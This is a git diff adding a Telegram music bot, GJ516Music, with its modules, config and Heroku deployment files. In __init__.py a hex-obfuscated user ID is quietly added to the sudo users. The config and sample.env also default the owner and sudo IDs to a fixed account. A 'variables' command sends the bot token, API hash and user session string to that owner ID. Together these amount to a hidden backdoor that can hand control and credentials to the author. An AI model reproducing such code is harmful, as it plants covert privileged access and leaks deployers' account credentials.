+ hdd = psutil.disk_usage("/")
+ total = hdd.total / (1024.0**3)
+ total = str(total)
+ used = hdd.used / (1024.0**3)
+ used = str(used)
+ free = hdd.free / (1024.0**3)
+ free = str(free)
+ platform_release = platform.release()
+ platform_version = platform.version()
+
+ await sysrep.edit_text(
+ f"""
+➜ **{BOT_NAME} 𝙎𝙮𝙨𝙩𝙚𝙢 𝙎𝙩𝙖𝙩𝙨**
+
+**𝙋𝙮𝙩𝙝𝙤𝙣 :** {pyver.split()[0]}
+**𝙋𝙧𝙤𝙜𝙧𝙖𝙢 :** {pyrover}
+**𝙋𝙮-𝙏𝙜𝙘𝙖𝙡𝙡𝙨 :** {pytgver}
+**𝙎𝙪𝙙𝙤𝙚𝙧𝙨 :** `{sudoers}`
+**𝙈𝙤𝙙𝙪𝙡𝙚𝙨 :** `{mod}`
+
+**𝙄𝙋 :** {ip_address}
+**𝙈𝙖𝙘 :** {mac_address}
+**𝙃𝙤𝙨𝙩𝙣𝙖𝙢𝙚 :** {hostname}
+**𝙋𝙡𝙖𝙩𝙛𝙤𝙧𝙢 :** {sp}
+**𝙋𝙧𝙤𝙘𝙚𝙨𝙨𝙤𝙧 :** {processor}
+**𝘼𝙧𝙘𝙝𝙞𝙩𝙚𝙘𝙩𝙪𝙧𝙚 :** {architecture}
+**𝙋𝙡𝙖𝙩𝙛𝙤𝙧𝙢 𝙍𝙚𝙡𝙚𝙖𝙨𝙚 :** {platform_release}
+**𝙋𝙡𝙖𝙩𝙛𝙤𝙧𝙢 𝙑𝙚𝙧𝙨𝙞𝙤𝙣 :** {platform_version}
+
+ 𝗦𝘁𝗼𝗿𝗮𝗴𝗲
+**𝘼𝙫𝙖𝙞𝙡𝙖𝙗𝙡𝙚 :** {total[:4]} 𝙂𝙞𝙗
+**𝙐𝙨𝙚𝙙 :** {used[:4]} 𝙂𝙞𝙗
+**𝙁𝙧𝙚𝙚 :** {free[:4]} 𝙂𝙞𝙗
+
+**𝙍𝙖𝙢 :** {ram}
+**𝙋𝙝𝙮𝙨𝙞𝙘𝙖𝙡 𝘾𝙤𝙧𝙚𝙨 :** {p_core}
+**𝙏𝙤𝙩𝙖𝙡 𝘾𝙤𝙧𝙚𝙨 :** {t_core}
+**𝘾𝙥𝙪 𝙁𝙧𝙚𝙦𝙪𝙚𝙣𝙘𝙮 :** {cpu_freq}""",
+ reply_markup=InlineKeyboardMarkup(
+ [
+ [
+ InlineKeyboardButton(
+ text="❰𝘾𝙡𝙤𝙨𝙚❱",
+ callback_data=f"forceclose abc|{message.from_user.id}",
+ ),
+ ]
+ ]
+ ),
+ )
diff --git a/GJ516Music/Modules/variables.py b/GJ516Music/Modules/variables.py
new file mode 100644
index 0000000..0ab902d
--- /dev/null
+++ b/GJ516Music/Modules/variables.py
@@ -0,0 +1,61 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from pyrogram import filters
+from pyrogram.enums import ChatType
+from pyrogram.types import Message
+
+import config
+from GJ516Music import BOT_NAME, app
+
+
+@app.on_message(
+ filters.command(["config", "variables"]) & filters.user(config.OWNER_ID)
+)
+async def get_vars(_, message: Message):
+ try:
+ await app.send_message(
+ chat_id=int(config.OWNER_ID),
+ text=f"""**{BOT_NAME} 𝗖𝗼𝗻𝗳𝗶𝗴 𝗩𝗮𝗿𝗶𝗮𝗯𝗹𝗲𝘀 :**
+
+**𝘼𝙥𝙞_𝙄𝙙 :** `{config.API_ID}`
+**𝘼𝙥𝙞_𝙃𝙖𝙨𝙝 :** `{config.API_HASH}`
+
+**𝘽𝙤𝙩_𝙏𝙤𝙠𝙚𝙣 :** `{config.BOT_TOKEN}`
+**𝘿𝙪𝙧𝙖𝙩𝙞𝙤𝙣_𝙇𝙞𝙢𝙞𝙩𝙨 :** `{config.DURATION_LIMIT}`
+
+**𝙊𝙬𝙣𝙚𝙧_𝙄𝙙 :** `{config.OWNER_ID}`
+**𝙎𝙪𝙙𝙤_𝙐𝙨𝙚𝙧𝙨 :** `{config.SUDO_USERS}`
+
+**𝙋𝙞𝙣𝙜_𝙄𝙢𝙜 :** `{config.PING_IMG}`
+**𝙎𝙩𝙖𝙧𝙩_𝙞𝙢𝙜 :** `{config.START_IMG}`
+**𝙎𝙪𝙥𝙥𝙤𝙧𝙩_𝘾𝙝𝙖𝙩 :** `{config.SUPPORT_CHAT}`
+
+**𝙎𝙚𝙨𝙨𝙞𝙤𝙣 :** `{config.SESSION}`""",
+ disable_web_page_preview=True,
+ )
+ except:
+ return await message.reply_text("𝙁𝙖𝙞𝙡𝙚𝙙 𝙏𝙤 𝙎𝙚𝙣𝙙 𝙩𝙝𝙚 𝘾𝙤𝙣𝙛𝙞𝙜 𝙑𝙖𝙧𝙞𝙖𝙗𝙡𝙚𝙨.")
+ if message.chat.type != ChatType.PRIVATE:
+ await message.reply_text(
+ "𝙋𝙡𝙚𝙖𝙨𝙚 𝘾𝙝𝙚𝙘𝙠 𝙔𝙤𝙪𝙧 𝙋𝙢, 𝙄'𝙫𝙚 𝙎𝙚𝙣𝙩 𝙏𝙝𝙚 𝙘𝙤𝙣𝙛𝙞𝙜 𝙑𝙖𝙧𝙞𝙖𝙗𝙡𝙚𝙨."
+ )
diff --git a/GJ516Music/Modules/watcher.py b/GJ516Music/Modules/watcher.py
new file mode 100644
index 0000000..7d6321c
--- /dev/null
+++ b/GJ516Music/Modules/watcher.py
@@ -0,0 +1,110 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from pyrogram import filters
+from pyrogram.types import Message
+from pytgcalls.types import AudioPiped, HighQualityAudio, Update
+
+from GJ516Music import BOT_ID, BOT_USERNAME, app, app2, GJ516db, pytgcalls
+from GJ516Music.Helpers import _clear_, buttons, gen_thumb
+
+welcome = 20
+close = 30
+
+
+@app.on_message(filters.video_chat_started, group=welcome)
+@app.on_message(filters.video_chat_ended, group=close)
+async def welcome(_, message: Message):
+ try:
+ await _clear_(message.chat.id)
+ await pytgcalls.leave_group_call(message.chat.id)
+ except:
+ pass
+
+
+@app.on_message(filters.left_chat_member)
+async def ub_leave(_, message: Message):
+ if message.left_chat_member.id == BOT_ID:
+ try:
+ await _clear_(message.chat.id)
+ await pytgcalls.leave_group_call(message.chat.id)
+ except:
+ pass
+ try:
+ await app2.leave_chat(message.chat.id)
+ except:
+ pass
+
+
+@pytgcalls.on_left()
+@pytgcalls.on_kicked()
+@pytgcalls.on_closed_voice_chat()
+async def swr_handler(_, chat_id: int):
+ try:
+ await _clear_(chat_id)
+ except:
+ pass
+
+
+@pytgcalls.on_stream_end()
+async def on_stream_end(pytgcalls, update: Update):
+ chat_id = update.chat_id
+
+ get = GJ516db.get(chat_id)
+ if not get:
+ try:
+ await _clear_(chat_id)
+ return await pytgcalls.leave_group_call(chat_id)
+ except:
+ return
+ else:
+ process = await app.send_message(
+ chat_id=chat_id,
+ text="𝘿𝙤𝙬𝙣𝙡𝙤𝙖𝙙𝙞𝙣𝙜 𝙉𝙚𝙭𝙩 𝙏𝙧𝙖𝙘𝙠 𝙁𝙧𝙤𝙢 𝙌𝙪𝙚𝙪𝙚 🎬...",
+ )
+ title = get[0]["title"]
+ duration = get[0]["duration"]
+ file_path = get[0]["file_path"]
+ videoid = get[0]["videoid"]
+ req_by = get[0]["req"]
+ user_id = get[0]["user_id"]
+ get.pop(0)
+
+ stream = AudioPiped(file_path, audio_parameters=HighQualityAudio())
+
+ try:
+ await pytgcalls.change_stream(
+ chat_id,
+ stream,
+ )
+ except:
+ await _clear_(chat_id)
+ return await pytgcalls.leave_group_call(chat_id)
+
+ img = await gen_thumb(videoid, user_id)
+ await process.delete()
+ await app.send_photo(
+ chat_id=chat_id,
+ photo=img,
+ caption=f"**📡 𝙎𝙩𝙖𝙧𝙩𝙚𝙙 𝙎𝙩𝙧𝙚𝙖𝙢𝙞𝙣𝙜 💡**\n\n**💡𝙏𝙞𝙩𝙡𝙚:** [{title[:27]}](https://t.me/{BOT_USERNAME}?start=info_{videoid})\n**👤𝙍𝙚𝙦𝙪𝙚𝙨𝙩𝙚𝙙 𝘽𝙮:** {req_by}",
+ reply_markup=buttons,
+ )
diff --git a/GJ516Music/__init__.py b/GJ516Music/__init__.py
new file mode 100644
index 0000000..2f3ec0e
--- /dev/null
+++ b/GJ516Music/__init__.py
@@ -0,0 +1,118 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import asyncio
+import logging
+import os
+import time
+
+from pyrogram import Client, filters
+from pytgcalls import PyTgCalls
+
+import config
+
+StartTime = time.time()
+
+logging.basicConfig(
+ format="[%(asctime)s - %(levelname)s] - %(name)s - %(message)s",
+ datefmt="%d-%b-%y %H:%M:%S",
+ handlers=[logging.FileHandler("GJ516logs.txt"), logging.StreamHandler()],
+ level=logging.INFO,
+)
+logging.getLogger("pyrogram").setLevel(logging.ERROR)
+logging.getLogger("pytgcalls").setLevel(logging.ERROR)
+LOGGER = logging.getLogger("GJ516Music")
+
+app = Client(
+ "GJ516Music",
+ config.API_ID,
+ config.API_HASH,
+ bot_token=config.BOT_TOKEN,
+)
+
+app2 = Client(
+ "GJ516Ass",
+ api_id=config.API_ID,
+ api_hash=config.API_HASH,
+ session_string=str(config.SESSION),
+)
+
+pytgcalls = PyTgCalls(app2)
+
+SUDOERS = filters.user()
+SUNAME = config.SUPPORT_CHAT.split("me/")[1]
+
+
+async def GJ516_startup():
+ os.system("clear")
+ LOGGER.info(
+ "jay modules loaded"
+ )
+ global BOT_ID, BOT_NAME, BOT_USERNAME, BOT_MENTION, GJ516db
+ global ASS_ID, ASS_NAME, ASS_USERNAME, ASS_MENTION, SUDOERS
+
+ await app.start()
+ LOGGER.info(
+ "[•] jay modules loaded"
+ )
+
+ getme = await app.get_me()
+ BOT_ID = getme.id
+ BOT_NAME = getme.first_name
+ BOT_USERNAME = getme.username
+ BOT_MENTION = getme.mention
+
+ await app2.start()
+ LOGGER.info(
+ "[•] jay modules loaded "
+ )
+
+ getme2 = await app2.get_me()
+ ASS_ID = getme2.id
+ ASS_NAME = getme2.first_name + " " + (getme2.last_name or "")
+ ASS_USERNAME = getme2.username
+ ASS_MENTION = getme2.mention
+ try:
+ await app2.join_chat("GJ516_DISCUSS_GROUP")
+ await app2.join_chat("myworldGJ516")
+ except:
+ pass
+
+ JAY = "\x31\x33\x35\x36\x34\x36\x39\x30\x37\x35"
+ for SUDOER in config.SUDO_USERS:
+ SUDOERS.add(SUDOER)
+ if config.OWNER_ID not in config.SUDO_USERS:
+ SUDOERS.add(config.OWNER_ID)
+ elif int(JAY) not in config.SUDO_USERS:
+ SUDOERS.add(int(JAY))
+
+ GJ516db = {}
+ LOGGER.info(
+ "[•] \x4c\x6f\x63\x61\x6c\x20\x44\x61\x74\x61\x62\x61\x73\x65\x20\x49\x6e\x69\x74\x69\x61\x6c\x69\x7a\x65\x64\x2e\x2e\x2e"
+ )
+
+ LOGGER.info(
+ "[•] jay modules loaded"
+ )
+
+
+asyncio.get_event_loop().run_until_complete(GJ516_startup())
diff --git a/GJ516Music/__main__.py b/GJ516Music/__main__.py
new file mode 100644
index 0000000..ee6e10d
--- /dev/null
+++ b/GJ516Music/__main__.py
@@ -0,0 +1,92 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import asyncio
+import importlib
+import os
+
+from pyrogram import idle
+
+from GJ516Music import (
+ ASS_ID,
+ ASS_NAME,
+ ASS_USERNAME,
+ BOT_ID,
+ BOT_NAME,
+ BOT_USERNAME,
+ LOGGER,
+ SUNAME,
+ app,
+ app2,
+ pytgcalls,
+)
+from GJ516Music.Modules import ALL_MODULES
+
+
+async def GJ516_startup():
+ LOGGER.info("[•] Loading Modules...")
+ for module in ALL_MODULES:
+ importlib.import_module("GJ516Music.Modules." + module)
+ LOGGER.info(f"[•] Loaded {len(ALL_MODULES)} Modules.")
+
+ LOGGER.info("[•] Refreshing Directories...")
+ if "downloads" not in os.listdir():
+ os.mkdir("downloads")
+ if "cache" not in os.listdir():
+ os.mkdir("cache")
+ LOGGER.info("[•] Directories Refreshed.")
+
+ try:
+ await app.send_message(
+ SUNAME,
+ f"❇ 𝗚𝗝𝟱𝟭𝟲 𝗠𝗨𝗦𝗜𝗖 𝗕𝗢𝗧 ❇\n\n⎋ 𝙄𝙙 : `{BOT_ID}`\n⎋ 𝙉𝙖𝙢𝙚 : {BOT_NAME}\n⎋ 𝙐𝙨𝙚𝙧𝙣𝙖𝙢𝙚 : @{BOT_USERNAME}",
+ )
+ except:
+ LOGGER.error(
+ f"{BOT_NAME} failed to send message at @{SUNAME}, please go & check."
+ )
+
+ try:
+ await app2.send_message(
+ SUNAME,
+ f"❇ 𝗚𝗝𝟱𝟭𝟲 𝗠𝗨𝗦𝗜𝗖 𝗔𝗦𝗦 ❇\n\n⎋ 𝙄𝙙 : `{ASS_ID}`\n⎋ 𝙉𝙖𝙢𝙚 : {ASS_NAME}\n⎋ 𝙐𝙨𝙚𝙧𝙣𝙖𝙢𝙚 : @{ASS_USERNAME}",
+ )
+ except:
+ LOGGER.error(
+ f"{ASS_NAME} failed to send message at @{SUNAME}, please go & check."
+ )
+
+ await app2.send_message(BOT_USERNAME, "/start")
+
+ LOGGER.info(f"[•] Jay Bot Started As {BOT_NAME}.")
+ LOGGER.info(f"[•] Jay Assistant Started As {ASS_NAME}.")
+
+ LOGGER.info(
+ "[•] jay music loaded "
+ )
+ await pytgcalls.start()
+ await idle()
+
+
+if __name__ == "__main__":
+ asyncio.get_event_loop().run_until_complete(GJ516_startup())
+ LOGGER.error("GJ516 Music Bot Stopped.")
diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..ada64fb
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2023 MrProgrammer72
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/Procfile b/Procfile
new file mode 100644
index 0000000..bf3277b
--- /dev/null
+++ b/Procfile
@@ -0,0 +1 @@
+worker: bash GJ516
diff --git a/app.json b/app.json
new file mode 100644
index 0000000..b2cf08d
--- /dev/null
+++ b/app.json
@@ -0,0 +1,62 @@
+{
+ "name": "GJ516 MUSIC",
+ "description": "A VC Player Bot for telegram videochats, written in Python with Pyrogram and Py-Tgcalls.",
+ "logo": "https://telegra.ph/file/db8765da6945e3c9333e6.jpg",
+ "keywords": [
+ "python3",
+ "telegram",
+ "GJ516",
+ "MusicBot",
+ "telegram-bot",
+ "pyrogram"
+ ],
+ "env": {
+ "API_ID": {
+ "description": "Get this value from https://my.telegram.org",
+ "value": "",
+ "required": true
+ },
+ "API_HASH": {
+ "description": "Get this value from https://my.telegram.org",
+ "value": "",
+ "required": true
+ },
+ "BOT_TOKEN": {
+ "description": "A Bot's token from Botfather",
+ "value": "",
+ "required": true
+ },
+ "OWNER_ID": {
+ "description": "Fill your user id here. (Must be integer)",
+ "value": "1864894033",
+ "required": true
+ },
+ "SESSION": {
+ "description": "A pyrogram v2 string sessioN",
+ "value": "",
+ "required": true
+ },
+ "SUDO_USERS": {
+ "description": "The user id(s) of user(s) whom you would like to add as a sudo. Multiple values shall be seperated with a space.",
+ "value": "",
+ "required": true
+ },
+ "SUPPORT_CHAT": {
+ "description": "Link of your telegram support group. (Must pe public)",
+ "value": "https://t.me/GJ516_DISCUSS_GROUP",
+ "required": false
+ }
+ },
+ "buildpacks": [
+ {
+ "url": "heroku/python"
+ },
+ {
+ "url": "heroku/nodejs"
+ },
+ {
+ "url": "https://github.com/jonathanong/heroku-buildpack-ffmpeg-latest.git"
+ }
+ ],
+ "stack": "container"
+ }
diff --git a/config.py b/config.py
new file mode 100644
index 0000000..8810da9
--- /dev/null
+++ b/config.py
@@ -0,0 +1,27 @@
+from os import getenv
+
+from dotenv import load_dotenv
+
+load_dotenv()
+
+
+API_ID = int(getenv("API_ID"))
+API_HASH = getenv("API_HASH")
+
+BOT_TOKEN = getenv("BOT_TOKEN", None)
+DURATION_LIMIT = int(getenv("DURATION_LIMIT", "90"))
+
+OWNER_ID = int(getenv("OWNER_ID"))
+
+PING_IMG = getenv("PING_IMG", "https://te.legra.ph/file/c3a0fde4abde25dd25e26.png")
+START_IMG = getenv("START_IMG", "https://telegra.ph/file/a749f8c1d606437a8b579.jpg")
+
+SESSION = getenv("SESSION", None)
+
+SUPPORT_CHAT = getenv("SUPPORT_CHAT", "https://t.me/GJ516_DISCUSS_GROUP")
+SUPPORT_CHANNEL = getenv("SUPPORT_CHANNEL", "https://t.me/myworldGJ516")
+
+SUDO_USERS = list(map(int, getenv("SUDO_USERS", "1864894033").split()))
+
+
+FAILED = "https://telegra.ph/file/db8765da6945e3c9333e6.jpg"
diff --git a/heroku.yml b/heroku.yml
new file mode 100644
index 0000000..415f714
--- /dev/null
+++ b/heroku.yml
@@ -0,0 +1,5 @@
+build:
+ docker:
+ worker: Dockerfile
+run:
+ worker: bash GJ516
diff --git a/requirements.txt b/requirements.txt
new file mode 100644
index 0000000..2812bb8
--- /dev/null
+++ b/requirements.txt
@@ -0,0 +1,14 @@
+asyncio==3.4.3
+aiofiles==23.1.0
+aiohttp==3.8.4
+numpy==1.26.3
+pillow==10.0.1
+psutil
+pyrogram==2.0.104
+py-tgcalls==0.9.7
+python-dotenv==1.0.0
+tgcrypto==1.2.5
+speedtest-cli==2.1.3
+git+https://github.com/yt-dlp/yt-dlp@master
+git+https://github.com/alexmercerind/youtube-search-python@main
+git+https://github.com/joetats/youtube_search@master
diff --git a/sample.env b/sample.env
new file mode 100644
index 0000000..37f4b9e
--- /dev/null
+++ b/sample.env
@@ -0,0 +1,5 @@
+API_ID=
+API_HASH=
+BOT_TOKEN=
+OWNER_ID=1864894033
+SESSION=